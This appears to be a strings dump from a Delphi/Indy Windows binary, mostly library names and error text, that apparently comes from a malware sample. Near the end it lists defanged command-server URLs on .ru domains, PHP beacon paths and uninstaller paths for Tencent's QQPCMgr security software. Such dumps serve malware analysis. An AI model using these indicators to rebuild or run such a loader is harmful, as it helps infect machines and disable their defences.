TArrayManager(H

IEnumerable0!

TList.TEmptyFunc

!TList.TEnumerator5

!TList.TEnumerator

TList&

TList

-TList.arrayofT

(IComparer

,TArrayManagerg

,TArrayManager(Z

*IEnumerable0!

/TList.TEmptyFunc

0TList.TEnumerator5

0TList.TEnumerator0]

$TList&

$TList

,TComparison

*TComparer2

*TComparer

2TMoveArrayManagerg

2TMoveArrayManager

STList>.arrayofT

NIComparer>

[TCollectionNotifyEvent>

Item4TPair

RTArrayManager>g

RTArrayManager>

PIEnumerable>0!

UTList>.TEmptyFunc

VTList>.TEnumerator5

VTList>.TEnumerator

JTList>&

JTList>

,TComparison

*TComparer2

*TComparer

2TMoveArrayManagerg

2TMoveArrayManager

9.TList`1.Pack$697$0$Intf

9@TList`1.Pack$697$ActRec`

9@TList`1.Pack$697$ActRec

%TComparison

#TComparer2

#TComparer

TMoveArrayManagerg

TMoveArrayManager

%TComparison

#TComparer2

#TComparer

TMoveArrayManagerg

TMoveArrayManager

System.Classesp

&TComparison

$TComparer2

$TComparer

,TMoveArrayManagerg

,TMoveArrayManager

System.Classesl

OTComparison>

MTComparer>2

MTComparer>

UTMoveArrayManager>g

UTMoveArrayManager>

TComparison

TComparer2

TComparer

!TMoveArrayManagerg

!TMoveArrayManager,

*TComparison

(TComparer2

(TComparerT

0TMoveArrayManagerg

0TMoveArrayManager

PTComparison>

NTComparer>2

NTComparer>

VTMoveArrayManager>g

VTMoveArrayManager>

AMsg

EIdCanNotBindPortInRange

EIdInvalidPortRange

CheckIPVersionSupport

VPort

APort

WSGetServByPort

APortNumber

AddServByPortToList

IdStackWindows

TIdSocketListWindows4

TIdSocketListWindows

TIdStackWindowsg

ReceiveMsg

WSTranslateSocketErrorMsg

SupportsIPv6

TIdStackWindowsp

EIdIPVersionUnsupported

FSourcePort

FDestPort

SourcePort

DestPort

EIdPortRequired

EIdPortRequireddp

EIdTCPConnectionError

EIdObjectTypeNotSupported

IPAsStringSV

System.Win.Registry

TRegKeyInfo

NumSubKeys

MaxSubKeyLen

FCurrentKey

FRootKey

FCloseRootKey

CloseKey

CreateKey

DeleteKey

GetKeyInfo

GetKeyNames

HasSubKeys

KeyExists

LoadKey

MoveKey

OpenKey

OpenKeyReadOnly

ReplaceKey

RestoreKey

SaveKey

UnLoadKey

CurrentKey

LastErrorMsg

RootKey

RootKeyName

QuoteHTTP

Password

IdHTTPHeaderInfo

FPassword

FPort

ProxyPassword

ProxyPort

TIdMetaHTTPEquivE

ProcessMetaHTTPEquiv

TIdMetaHTTPEquiv

ftpTransfer

ftpReady

ftpAborted

VMsgEnd

Port

FClientPortMin

FClientPortMax

FPeerPort

ClientPortMin

ClientPortMax

PortH

PeerPort

"EIdTransparentProxyUDPNotSupported

OpenUDP

CloseUDP

RecvFromUDP

VPeerPort

SendToUDP

FLastCmdResult

TIdTCPConnectionB

RaiseExceptionForLastCmdResult

SendCmd

TIdTCPConnectionP?

IdTCPConnection

LastCmdResult

FBoundPort

FBoundPortMax

FBoundPortMin

TIdTCPClientCustom'

TIdTCPClientCustomxQ

IdTCPClient

BoundPort

BoundPortMax

BoundPortMin

TIdTCPClient

%EIdSocksUDPNotSupportedBySOCKSVersion

%EIdSocksUDPNotSupportedBySOCKSVersionTb

saUsernamePassword

FUDPSocksAssociation

FDefaultPort

DefaultPort

fPassThrough

PassThrough

MakeFTPSvrPort

MakeFTPSvrPasv

FURL

CompressFTPDeflate

CompressFTPToIO

DecompressFTPFromIO

DecompressFTPDeflate

CompressHTTPDeflate

DecompressHTTPDeflate

URLDecode

URLEncode

FHttpOnly

HttpOnly

AURL

EIdUnsupportedOperation

EIdUnsupportedOperation0S

EIdUnsupportedTransfer

EIdUnsupportedEncoding

rsa_keygen

dsa_keygen

pub_key

priv_key

PEVP_PKEY

EVP_PKEY_union

EVP_PKEY

pkey

pkey_type

required_pkey_type

key_len

key_length

AUTHORITY_KEYID

keyid

PAUTHORITY_KEYID

X509_PUBKEY

public_key

PX509_PUBKEY

X509_CERT_AUX

PX509_CERT_AUXl

cert_info

ex_nscert

get_cert_methods

cert_crl

lookup_certs

ppem_password_cb

algorithm_mkey

key_arg_length

key_arg

master_key_length

master_key

sess_cert

login

Ptlsext_ticket_key_cb

cert_store

default_passwd_callback

default_passwd_callback_userdata

client_cert_cb

extra_certs

max_cert_list

cert

msg_callback

msg_callback_arg

client_cert_engine

tlsext_tick_key_name

tlsext_tick_hmac_key

tlsext_tick_aes_key

tlsext_ticket_key_cb

init_msg

read_key

write_key

key_material_length

key_material

tmp_cert_type

tmp_cert_length

tmp_cert_verify_md

tmp_cert_req

tmp_key_block_length

tmp_key_block

new_mac_pkey_type

tmp_cert_request

msg_len

w_msg_hdr

r_msg_hdr

sslvrfFailIfNoPeerCert

TCallbackExEvent

TPasswordEvent

TPasswordEventEx

VPassword

Certificate

fsRootCertFile

fsCertFile

fsKeyFile

RootCertFile

CertFile

KeyFile

LoadRootCert

LoadCert

fPeerCert

PeerCert

fOnGetPassword

fOnGetPasswordEx

OnGetPasswordL6

OnGetPasswordEx

EIdOSSLLoadingRootCertError

EIdOSSLLoadingCertError

EIdOSSLLoadingKeyError

EIdOSSLLoadingKeyErrorda

SEC_GET_KEY_FN>

KeyVer

pGetKeyFn

pvGetKeyArgument

CHANGE_PASSWORD_FN_W

pszOldPassword

pszNewPassword

EXPORT_SECURITY_CONTEXT_FNB

IMPORT_SECURITY_CONTEXT_FN_W

ExportSecurityContext

ImportSecurityContextW

ChangeAccountPasswordW

aPassword

TIdHTTPWhatsNext

wnGoToURL

IdHTTP

TIdHTTPConnectionType

TIdHTTPOption

hoNoParseMetaHTTPEquiv

TIdHTTPOptions

TIdHTTPProtocolVersion

TIdHTTPOnRedirectEvent

TIdHTTPOnHeadersAvailable

FHTTP

FMetaHTTPEquiv

TIdHTTPResponse5

AHTTP

TIdHTTPResponse

MetaHTTPEquiv

TIdHTTPRequest5

TIdHTTPRequest

TIdHTTPProtocol;

TIdHTTPProtocol

FHTTPProto

TIdCustomHTTP'

TIdCustomHTTP

HTTPOptions

TIdHTTP

EIdHTTPProtocolExceptionn

EIdHTTPProtocolException(Z

System.Win.ComObj

System.SysConst

System.RTLConsts

System.Character

Winapi.Windows

System.UITypes

System.Internal.ExcUtils

Winapi.PsAPI

Winapi.SHFolder

Winapi.ImageHlp

System.VarUtils

System.Math

System.Diagnostics

System.TimeSpan

Winapi.Messages

System.AnsiStrings

System.StrUtils

Winapi.ActiveX

System.DateUtils

Winapi.ShellAPI

Winapi.IpExport

Winapi.Winsock2

Winapi.Qos

System.IniFiles

System.IOUtils

System.Masks

IdTCPServer

IdCustomTCPServer

System.Win.ComConst

Winapi.ShlObj

Winapi.MSXMLIntf

Winapi.StructuredQueryCondition

Winapi.PropSys

Winapi.ObjectArray

Winapi.UrlMon

Winapi.WinInet

Winapi.RegStr

Winapi.CommCtrl

#!V!W!"!&!r%!%#%%%'%)%c%e%g%C%

P%S%V%Y%\%

?456789:;

!"#$%&'()* ,-./0123

oleaut32.dll

advapi32.dll

RegOpenKeyExW

RegCloseKey

user32.dll

kernel32.dll

GetConsoleOutputCP

MsgWaitForMultipleObjects

GetCPInfoExW

GetCPInfo

RegQueryInfoKeyW

RegFlushKey

RegEnumKeyExW

ole32.dll

shell32.dll

ShellExecuteExW

ShellExecuteW

dSystem.SysConst

ISystem.Internal.ExcUtils

,System.Character

kWinapi.PsAPI

-Winapi.ImageHlp

4Winapi.RegStr

hWinapi.UrlMon

0IdHTTPHeaderInfo

%System.Classes

fSystem.Rtti

YSystem.AnsiStrings

System.StrUtils

&System.DateUtils

iSystem.IOUtils

IdTCPServer

elevate execution level

P2"Ã½

.&%fK

E%0sM

ZSc/%S

rypoijku.pdb

072;!"6"

(?"58.=)

, 7 ;4=6

'--'9/=0/

#.;:;-).

=&3$783=

35 ;

7$2

91!75(

5 .#4$ 3

56(!?;5,

$3>'?/%&'

!8*$6-0#

.;9=)/,8956

53)&=

%"

KERNEL32.dll

rsaenh.dll

UXTHEME.dll

clusapi.dll

%s-%s

operator

%s[%d]

.Owner

%s, %.2d %s %.4d %s %s

%s, %.2d%s%s%s%.4d %s %s

WS2_32.DLL

getservbyport

WSAAsyncGetServByPort

WSAJoinLeaf

MSWSOCK.DLL

WSARecvMsg

WSASendMsg

Wship6.dll

Fwpuclnt.dll

IdnDL.dll

Normaliz.dll

127.0.0.1

ISO_646.irv:1991

ISO_646.basic:1983

ISO_646.irv:1983

csISO16Portuguese

csISO84Portuguese2

windows-936

csShiftJIS

windows-874

ISO-8859-1-Windows-3.0-Latin-1

csWindows30Latin1

ISO-8859-1-Windows-3.1-Latin-1

csWindows31Latin1

ISO-8859-2-Windows-Latin-2

csWindows31Latin2

ISO-8859-9-Windows-Latin-5

csWindows31Latin5

csMicrosoftPublishing

Windows-31J

csWindows31J

PTCP154

csPTCP154

windows-1250

windows-1251

windows-1252

windows-1253

windows-1254

windows-1255

windows-1256

windows-1257

windows-1258

10.6.0.4975

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_CURRENT_CONFIG

HKEY_DYN_DATA

0123456789

!"#$%&'()* ,-./;?@[\]^_`{|}~

.nml=animation/narrative

.aac=audio/mp4

.aif=audio/x-aiff

.aifc=audio/x-aiff

.aiff=audio/x-aiff

.au=audio/basic

.gsm=audio/x-gsm

.kar=audio/midi

.m3u=audio/mpegurl

.mid=audio/midi

.midi=audio/midi

.mpega=audio/x-mpg

.mp2=audio/x-mpg

.mp3=audio/x-mpg

.mpga=audio/x-mpg

.m3u=audio/x-mpegurl

.pls=audio/x-scpls

.qcp=audio/vnd.qcelp

.ra=audio/x-realaudio

.ram=audio/x-pn-realaudio

.rm=audio/x-pn-realaudio

.sd2=audio/x-sd2

.sid=audio/prs.sid

.snd=audio/basic

.wav=audio/x-wav

.wax=audio/x-ms-wax

.wma=audio/x-ms-wma

.mjf=audio/x-vnd.AudioExplosion.MjuiceMediaFile

.art=image/x-jg

.bmp=image/bmp

.cdr=image/x-coreldraw

.cdt=image/x-coreldrawtemplate

.cpt=image/x-corelphotopaint

.djv=image/vnd.djvu

.djvu=image/vnd.djvu

.gif=image/gif

.ief=image/ief

.ico=image/x-icon

.jng=image/x-jng

.jpg=image/jpeg

.jpeg=image/jpeg

.jpe=image/jpeg

.pat=image/x-coreldrawpattern

.pcx=image/pcx

.pbm=image/x-portable-bitmap

.pgm=image/x-portable-graymap

.pict=image/x-pict

.png=image/x-png

.pnm=image/x-portable-anymap

.pntg=image/x-macpaint

.ppm=image/x-portable-pixmap

.psd=image/x-psd

.qtif=image/x-quicktime

.ras=image/x-cmu-raster

.rf=image/vnd.rn-realflash

.rgb=image/x-rgb

.rp=image/vnd.rn-realpix

.sgi=image/x-sgi

.svg=image/svg-xml

.svgz=image/svg-xml

.targa=image/x-targa

.tif=image/x-tiff

.wbmp=image/vnd.wap.wbmp

.webp=image/webp

.xbm=image/xbm

.xbm=image/x-xbitmap

.xpm=image/x-xpixmap

.xwd=image/x-xwindowdump

.xml=text/xml

.uls=text/iuls

.txt=text/plain

.rtx=text/richtext

.wsc=text/scriptlet

.rt=text/vnd.rn-realtext

.htt=text/webviewhtml

.htc=text/x-component

.vcf=text/x-vcard

.asf=video/x-ms-asf

.asx=video/x-ms-asf

.avi=video/x-msvideo

.dl=video/dl

.dv=video/dv

.flc=video/flc

.fli=video/fli

.gl=video/gl

.lsf=video/x-la-asf

.lsx=video/x-la-asf

.mng=video/x-mng

.mp2=video/mpeg

.mp3=video/mpeg

.mp4=video/mpeg

.mpeg=video/x-mpeg2a

.mpa=video/mpeg

.mpe=video/mpeg

.mpg=video/mpeg

.ogv=video/ogg

.moov=video/quicktime

.mov=video/quicktime

.mxu=video/vnd.mpegurl

.qt=video/quicktime

.qtc=video/x-qtc

.rv=video/vnd.rn-realvideo

.ivf=video/x-ivf

.webm=video/webm

.wm=video/x-ms-wm

.wmp=video/x-ms-wmp

.wmv=video/x-ms-wmv

.wmx=video/x-ms-wmx

.wvx=video/x-ms-wvx

.rms=video/vnd.rn-realvideo-secure

.asx=video/x-ms-asf-plugin

.movie=video/x-sgi-movie

.aab=application/x-authorware-bin

.aam=application/x-authorware-map

.aas=application/x-authorware-seg

.abw=application/x-abiword

.ace=application/x-ace-compressed

.ai=application/postscript

.alz=application/x-alz-compressed

.ani=application/x-navi-animation

.arj=application/x-arj

.asf=application/vnd.ms-asf

.bat=application/x-msdos-program

.bcpio=application/x-bcpio

.boz=application/x-bzip2

.bz=application/x-bzip

.bz2=application/x-bzip2

.cab=application/vnd.ms-cab-compressed

.cat=application/vnd.ms-pki.seccat

.ccn=application/x-cnc

.cco=application/x-cocoa

.cdf=application/x-cdf

.cer=application/x-x509-ca-cert

.chm=application/vnd.ms-htmlhelp

.chrt=application/vnd.kde.kchart

.cil=application/vnd.ms-artgalry

.class=application/java-vm

.com=application/x-msdos-program

.clp=application/x-msclip

.cpio=application/x-cpio

.cpt=application/mac-compactpro

.cqk=application/x-calquick

.crd=application/x-mscardfile

.crl=application/pkix-crl

.csh=application/x-csh

.dar=application/x-dar

.dbf=application/x-dbase

.dcr=application/x-director

.deb=application/x-debian-package

.dir=application/x-director

.dist=vnd.apple.installer xml

.distz=vnd.apple.installer xml

.dll=application/x-msdos-program

.dmg=application/x-apple-diskimage

.doc=application/msword

.dot=application/msword

.dvi=application/x-dvi

.dxr=application/x-director

.ebk=application/x-expandedbook

.eps=application/postscript

.evy=application/envoy

.exe=application/x-msdos-program

.fdf=application/vnd.fdf

.fif=application/fractals

.flm=application/vnd.kde.kivio

.fml=application/x-file-mirror-list

.gzip=application/x-gzip

.gnumeric=application/x-gnumeric

.gtar=application/x-gtar

.gz=application/x-gzip

.hdf=application/x-hdf

.hlp=application/winhlp

.hpf=application/x-icq-hpf

.hqx=application/mac-binhex40

.hta=application/hta

.ims=application/vnd.ms-ims

.ins=application/x-internet-signup

.iii=application/x-iphone

.iso=application/x-iso9660-image

.jar=application/java-archive

.karbon=application/vnd.kde.karbon

.kfo=application/vnd.kde.kformula

.kon=application/vnd.kde.kontour

.kpr=application/vnd.kde.kpresenter

.kpt=application/vnd.kde.kpresenter

.kwd=application/vnd.kde.kword

.kwt=application/vnd.kde.kword

.latex=application/x-latex

.lha=application/x-lzh

.lcc=application/fastman

.lrm=application/vnd.ms-lrm

.lz=application/x-lzip

.lzh=application/x-lzh

.lzma=application/x-lzma

.lzo=application/x-lzop

.lzx=application/x-lzx

.mpp=application/vnd.ms-project

.mvb=application/x-msmediaview

.man=application/x-troff-man

.mdb=application/x-msaccess

.me=application/x-troff-me

.ms=application/x-troff-ms

.msi=application/x-msi

.mpkg=vnd.apple.installer xml

.mny=application/x-msmoney

.nix=application/x-mix-transfer

.oda=application/oda

.odb=application/vnd.oasis.opendocument.database

.odc=application/vnd.oasis.opendocument.chart

.odf=application/vnd.oasis.opendocument.formula

.odg=application/vnd.oasis.opendocument.graphics

.odi=application/vnd.oasis.opendocument.image

.odm=application/vnd.oasis.opendocument.text-master

.odp=application/vnd.oasis.opendocument.presentation

.ods=application/vnd.oasis.opendocument.spreadsheet

.ogg=application/ogg

.odt=application/vnd.oasis.opendocument.text

.otg=application/vnd.oasis.opendocument.graphics-template

.oth=application/vnd.oasis.opendocument.text-web

.otp=application/vnd.oasis.opendocument.presentation-template

.ots=application/vnd.oasis.opendocument.spreadsheet-template

.ott=application/vnd.oasis.opendocument.text-template

.p7b=application/x-pkcs7-certificates

.p7r=application/x-pkcs7-certreqresp

.package=application/vnd.autopackage

.pfr=application/font-tdpfr

.pkg=vnd.apple.installer xml

.pdf=application/pdf

.pko=application/vnd.ms-pki.pko

.pl=application/x-perl

.pnq=application/x-icq-pnq

.pot=application/mspowerpoint

.pps=application/mspowerpoint

.ppt=application/mspowerpoint

.ppz=application/mspowerpoint

.ps=application/postscript

.pub=application/x-mspublisher

.qpw=application/x-quattropro

.qtl=application/x-quicktimeplayer

.rar=application/rar

.rdf=application/rdf xml

.rjs=application/vnd.rn-realsystem-rjs

.rm=application/vnd.rn-realmedia

.rmf=application/vnd.rmf

.rmp=application/vnd.rn-rn_music_package

.rmx=application/vnd.rn-realsystem-rmx

.rnx=application/vnd.rn-realplayer

.rpm=application/x-redhat-package-manager

.rsml=application/vnd.rn-rsml

.rtsp=application/x-rtsp

.rss=application/rss xml

.scm=application/x-icq-scm

.ser=application/java-serialized-object

.scd=application/x-msschedule

.sda=application/vnd.stardivision.draw

.sdc=application/vnd.stardivision.calc

.sdd=application/vnd.stardivision.impress

.sdp=application/x-sdp

.setpay=application/set-payment-initiation

.setreg=application/set-registration-initiation

.sh=application/x-sh

.shar=application/x-shar

.shw=application/presentations

.sit=application/x-stuffit

.sitx=application/x-stuffitx

.skd=application/x-koan

.skm=application/x-koan

.skp=application/x-koan

.skt=application/x-koan

.smf=application/vnd.stardivision.math

.smi=application/smil

.smil=application/smil

.spl=application/futuresplash

.ssm=application/streamingmedia

.sst=application/vnd.ms-pki.certstore

.stc=application/vnd.sun.xml.calc.template

.std=application/vnd.sun.xml.draw.template

.sti=application/vnd.sun.xml.impress.template

.stl=application/vnd.ms-pki.stl

.stw=application/vnd.sun.xml.writer.template

.svi=application/softvision

.sv4cpio=application/x-sv4cpio

.sv4crc=application/x-sv4crc

.swf=application/x-shockwave-flash

.swf1=application/x-shockwave-flash

.sxc=application/vnd.sun.xml.calc

.sxi=application/vnd.sun.xml.impress

.sxm=application/vnd.sun.xml.math

.sxw=application/vnd.sun.xml.writer

.sxg=application/vnd.sun.xml.writer.global

.tar=application/x-tar

.tcl=application/x-tcl

.tex=application/x-tex

.texi=application/x-texinfo

.texinfo=application/x-texinfo

.tbz=application/x-bzip-compressed-tar

.tbz2=application/x-bzip-compressed-tar

.tgz=application/x-compressed-tar

.tlz=application/x-lzma-compressed-tar

.tr=application/x-troff

.trm=application/x-msterminal

.troff=application/x-troff

.tsp=application/dsptype

.torrent=application/x-bittorrent

.ttz=application/t-time

.txz=application/x-xz-compressed-tar

.udeb=application/x-debian-package

.uin=application/x-icq

.urls=application/x-url-list

.ustar=application/x-ustar

.vcd=application/x-cdlink

.vor=application/vnd.stardivision.writer

.vsl=application/x-cnet-vsl

.wcm=application/vnd.ms-works

.wb1=application/x-quattropro

.wb2=application/x-quattropro

.wb3=application/x-quattropro

.wdb=application/vnd.ms-works

.wks=application/vnd.ms-works

.wmd=application/x-ms-wmd

.wms=application/x-ms-wms

.wmz=application/x-ms-wmz

.wp5=application/wordperfect5.1

.wpd=application/wordperfect

.wpl=application/vnd.ms-wpl

.wps=application/vnd.ms-works

.wri=application/x-mswrite

.xfdf=application/vnd.adobe.xfdf

.xls=application/x-msexcel

.xlb=application/x-msexcel

.xpi=application/x-xpinstall

.xps=application/vnd.ms-xpsdocument

.xsd=application/vnd.sun.xml.draw

.xul=application/vnd.mozilla.xul xml

.zoo=application/x-zoo

.zip=application/x-zip-compressed

.wml=text/vnd.wap.wml

.wmlc=application/vnd.wap.wmlc

.wmls=text/vnd.wap.wmlscript

.wmlsc=application/vnd.wap.wmlscriptc

.asm=text/x-asm

.pas=text/x-pascal

.cs=text/x-csharp

.cpp=text/x-c src

.cxx=text/x-c src

.cc=text/x-c src

.hpp=text/x-c hdr

.hxx=text/x-c hdr

.hh=text/x-c hdr

.java=text/x-java

.css=text/css

.js=text/javascript

.htm=text/html

.html=text/html

.xhtml=application/xhtml xml

.xht=application/xhtml xml

.ls=text/javascript

.mocha=text/javascript

.shtml=server-parsed-html

.sgm=text/sgml

.sgml=text/sgml

HTTP-EQUIV

()@,;:\"./

()@,;:\"/[]?=

()@,;:\"/[]?={}

X-HTTP-Method-Override

Mozilla/3.0 (compatible; Indy Library)

%d-%d

0.0.0.1

0.0.0.0

HTTPS

https

HTTPONLY=

HTTPONLY

WINDOWS

Content-Disposition: form-data; name="%s"

; filename="%s"

Content-Type: %s

; charset="%s"

Content-Transfer-Encoding: %s

libeay32.dll

ssleay32.dll

libssl32.dll

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey

SSL_CTX_use_certificate

SSL_CTX_use_certificate_file

SSL_get_peer_certificate

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_check_private_key

X509_STORE_add_cert

X509_STORE_CTX_get_current_cert

i2d_DSAPrivateKey

d2i_DSAPrivateKey

d2i_PrivateKey

d2i_PrivateKey_bio

DES_set_key

_ossl_old_des_set_key

RSA_generate_key

RSA_check_key

RSA_generate_key_ex

i2d_PrivateKey_bio

i2d_RSAPrivateKey

d2i_RSAPrivateKey

i2d_RSAPublicKey

d2i_RSAPublicKey

i2d_PrivateKey

i2d_NETSCAPE_CERT_SEQUENCE

X509_get_default_cert_file

X509_get_default_cert_file_env

X509_set_pubkey

X509_REQ_set_pubkey

PEM_read_bio_RSAPrivateKey

PEM_read_bio_RSAPublicKey

PEM_read_bio_DSAPrivateKey

PEM_read_bio_PrivateKey

PEM_read_bio_NETSCAPE_CERT_SEQUENCE

PEM_write_bio_RSAPublicKey

PEM_write_bio_DSAPrivateKey

PEM_write_bio_PrivateKey

PEM_write_bio_NETSCAPE_CERT_SEQUENCE

PEM_write_bio_PKCS8PrivateKey

EVP_PKEY_type

EVP_PKEY_new

EVP_PKEY_free

EVP_PKEY_assign

secur32.dll

security.dll

HTTP/1.0 200 OK

HTTP/

%s, ClassID: %s

hXXp://ggileee.ru/tersdssd/see

*.lnk

hXXp://filer.com/zaluper

Tencent\QQPCMgr\11.2.17058.221\Uninst.exe

Tencent\QQPCMgr\11.3.17201.218\Uninst.exe

Tencent\QQPCMgr\11.1.16923.222\Uninst.exe

Tencent\QQPCMgr\11.1.16908.217\Uninst.exe

Tencent\QQPCMgr\10.10.16443.223\Uninst.exe

hh.goiyhoi3j.ru

hXXp://

/notificate.php?p

C:\cryptserv

ice2\test-result.log

/prod.php?streamId=

Kernel32.dll

Open SSL Support DLL Delphi and C Builder interface

hXXp://VVV.indyproject.org/

1993 - 2012

.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

DClient policy does not allow credential delegation to target server.bClient policy does not allow credential delegation to target server with NLTM only authentication.1The recipient rejected the renegotiation request.-The required security context does not exist.`The PKU2U protocol encountered an error while attempting to utilize the associated certificates.:The identity of the server computer could not be verified.

Unknown error#SSPI %s returns error #%d(0x%x): %s0SSPI interface has failed to initialise properly

Unknown credentials use!Do AcquireCredentialsHandle first"CompleteAuthToken is not supported

SEC_E_NO_KERB_KEY5The certificate is not valid for the requested usage.

The smartcard certificate used for authentication has been revoked. Please contact your system administrator. There may be additional information in the event log.

An untrusted certificate authority was detected While processing the smartcard certificate used for authentication. Please contact your system administrator.

The revocation status of the smartcard certificate used for authentication could not be determined. Please contact your system administrator.lThe smartcard certificate used for authentication was not trusted. Please contact your system administrator.hThe smartcard certificate used for authentication has expired. Please contact your system administrator.

The Kerberos subsystem encountered an error. A service for user protocol request was made against a domain controller which does not support service for user.

An attempt was made by this server to make a Kerberos constrained delegation request for a target outside of the server's realm. This is not supported, and indicates a misconfiguration on this server's allowed to delegate to list. Please contact your administrator.

The revocation status of the domain controller certificate used for smartcard authentication could not be determined. There is additional information in the system event log. Please contact your system administrator.

An untrusted certificate authority was detected while processing the domain controller certificate used for authentication. There is additional information in the system event log. Please contact your system administrator.

The domain controller certificate used for smartcard logon has expired. Please contact your system administrator with the contents of your system event log.

The domain controller certificate used for smartcard logon has been revoked. Please contact your system administrator with the contents of your system event log.IA signature operation must be performed before the user can authenticate.AOne or more of the parameters passed to the function was invalid.

]The crypto system or checksum function is invalid because a required function is unavailable.9The number of maximum ticket referrals has been exceeded.KThe local machine must be a Kerberos KDC (domain controller) and it is not.qThe other end of the security negotiation is requires strong crypto but it is not supported on the local machine.5The KDC reply contained more than one principal name.OExpected to find PA data for a hint of what etype to use, but it was not found.

The client certificate does not contain a valid UPN, or does not match the client name in the logon request. Please contact your administrator.-Smartcard logon is required and was not used.!A system shutdown is in progress.'An invalid request was sent to the KDC.DThe KDC was unable to generate a referral for the service requested.:The encryption type requested is not supported by the KDC.QAn unsupported preauthentication mechanism was presented to the Kerberos package.

The requested operation cannot be completed. The computer must be trusted for delegation and the current user account must be configured to allow delegation.7Client's supplied SSPI channel bindings were incorrect.9The received certificate was mapped to multiple accounts.4The context data must be renegotiated with the peer.'The target principal name is incorrect.:There is no LSA mode context associated with this context.8The clocks on the client and server machines are skewed.;The certificate chain was issued by an untrusted authority.7The message received was unexpected or badly formatted.;An unknown error occurred while processing the certificate.%The received certificate has expired.*The specified data could not be encrypted.*The specified data could not be decrypted.YThe client and server cannot communicate, because they do not possess a common algorithm.

The security context could not be established due to a failure in the requested quality of service (e.g. mutual authentication or delegation).dA security context was deleted before the context was completed. This is considered a logon failure.mThe client is trying to negotiate a context and the server requires user-to-user but didn't send a TGT reply.aUnable to accomplish the requested task because the local machine does not have any IP addresses.bThe supplied credential handle does not match the credential associated with the security context.

The logon attempt failed;The credentials supplied to the package were not recognized4No credentials are available in the security packageCThe message or signature supplied for verification has been altered8The message supplied for verification is out of sequence3No authority could be contacted for authentication.UThe function completed successfully, but must be called again to complete the contextEThe function completed successfully, but CompleteToken must be calledtThe function completed successfully, but both CompleteToken and this function must be called to complete the contextsThe logon was completed, but no network authority was available. The logon was made using locally known information-The requested security package does not exist2The context has expired and can no longer be used.DThe supplied message is incomplete. The signature was not verified.lThe credentials supplied were not complete, and could not be verified. The context could not be initialized.1The buffers supplied to a function was too small.

The handle specified is invalid'The function requested is not supported.The specified target is unknown or unreachable0The Local Security Authority cannot be contacted-The requested security package does not exist6The caller is not the owner of the desired credentialsBThe security package failed to initialize, and cannot be installed-The token supplied to the function is invalid^The security package is not able to marshall the logon buffer, so the logon attempt has failedNThe per-message Quality of Protection is not supported by the security package?The security context does not allow impersonation of the client

Unsupported operation./Could not encode header data using charset "%s"

SSL status: "%s"

%s Alert

%s Read Alert

%s Write Alert

Error creating SSL context. Could not load root certificate.

Could not load certificate.#Could not load key, check password.

Error getting SSL method.%Error setting File Descriptor for SSL!Error binding data to SSL socket. EOF was observed that violates the protocolpUnsupported object type. You can assign only one of the following types or their descendants: TStrings, TStream.

Unsupported transfer type. You can assign only an empty string or one of the following values: 7bit, 8bit, binary, quoted-printable, base64.OUnsupported encoding. You can assign only one of the following values: Q, B, 8.

Protocol field is empty UDP Not supported by this proxy.$Buffer terminator must be specified.!Buffer start position is invalid.

Reply Code is not valid: %s

Reply Code already exists: %s

IOHandler value is not valid'Algorithm %s not permitted in FIPS mode

Unknown Protocol(Request method requires HTTP version 1.1KUnsupported hash algorithm. This implementation supports only MD5 encoding.$Error accepting connection with SSL.

File "%s" not found

Object type not supported.

Transparent proxy cannot bind.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.

Command not supported.

Address type not supported."%d: Circular links are not allowed"Not enough data in buffer. (%d/%d)1Only one TIdAntiFreeze can exist per application.&Cannot change IPVersion when connected$Can not bind in port range (%d - %d)

Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.

Invalid Port Range (%d - %d)

%s is not a valid service.

%s is not a valid IPv6 address:The requested IPVersion / Address family is not supported.

End of stream: Class %s at %d)UDP is not support in this SOCKS version.

Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.

Socket operation on non-socket.

Protocol not supported.

Socket type not supported."Operation not supported on socket.

Protocol family not supported.0Address family not supported by protocol family.

Resolving hostname %s.

Connecting to %s.

Socket Error # %d

Operation would block.

Operation now in progress.

Operation already in progress.

Windows Server 2012

Windows 8

Observer is not supportedLCannot have multiple single cast observers added to the observers collection4The object does not implement the observer interfaceGNo single cast observer with ID %d was added to the observer collectionFNo multi cast observer with ID %d was added to the observer collection

Invalid destination array"Character index out of bounds (%d)

Invalid count (%d)

Invalid destination index (%d)

Invalid codepage (%d)4Failed attempting to retrieve time zone information.-Error on call to Winsock2 library function %s&Error on loading Winsock2 library (%s)

Parameter count mismatch

Windows

Windows Vista

Windows Server 2008

Windows 7

Windows Server 2008 R2

Windows 2000

Windows XP

Windows Server 2003

Windows Server 2003 R2

Failed to get data for '%s'

%s.Seek not implemented$Operation not allowed on sorted list

Property %s does not exist

Thread creation error: %s

Thread Error: %s (%d)-Cannot terminate an externally created thread,Cannot wait for an externally created thread2Cannot call Start on a running or suspended thread'Parameter %s cannot be a negative value The specified file was not found

Duplicates not allowed5Insufficient RTTI available to support this operation

%String list does not allow duplicates

Cannot create file "%s". %s

Cannot open file "%s". %s

Invalid file name - %s$''%s'' is not a valid component name

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d) Out of memory while expanding memory stream)%s has not been registered as a COM class

Error reading %s%s%s: %s

Start index out of bounds (%d)

Ancestor for '%s' not found

Cannot assign a %s to a %sECheckSynchronize called from thread $%x, which is NOT the main thread

Class %s not found%List does not allow duplicates ($0%x)#A component named %s already exists

External exception %x

Interface not supported

Object lock not owned(Monitor support function not initialized

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

Invalid variant operation

Invalid NULL variant operation%Invalid variant operation (%s%.8x)

%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Operation not supported

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Operation aborted(Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported!'%s' is not a valid integer value('%s' is not a valid floating point value '%d.%d' is not a valid timestamp

I/O error %d

Integer overflow Invalid floating point operation

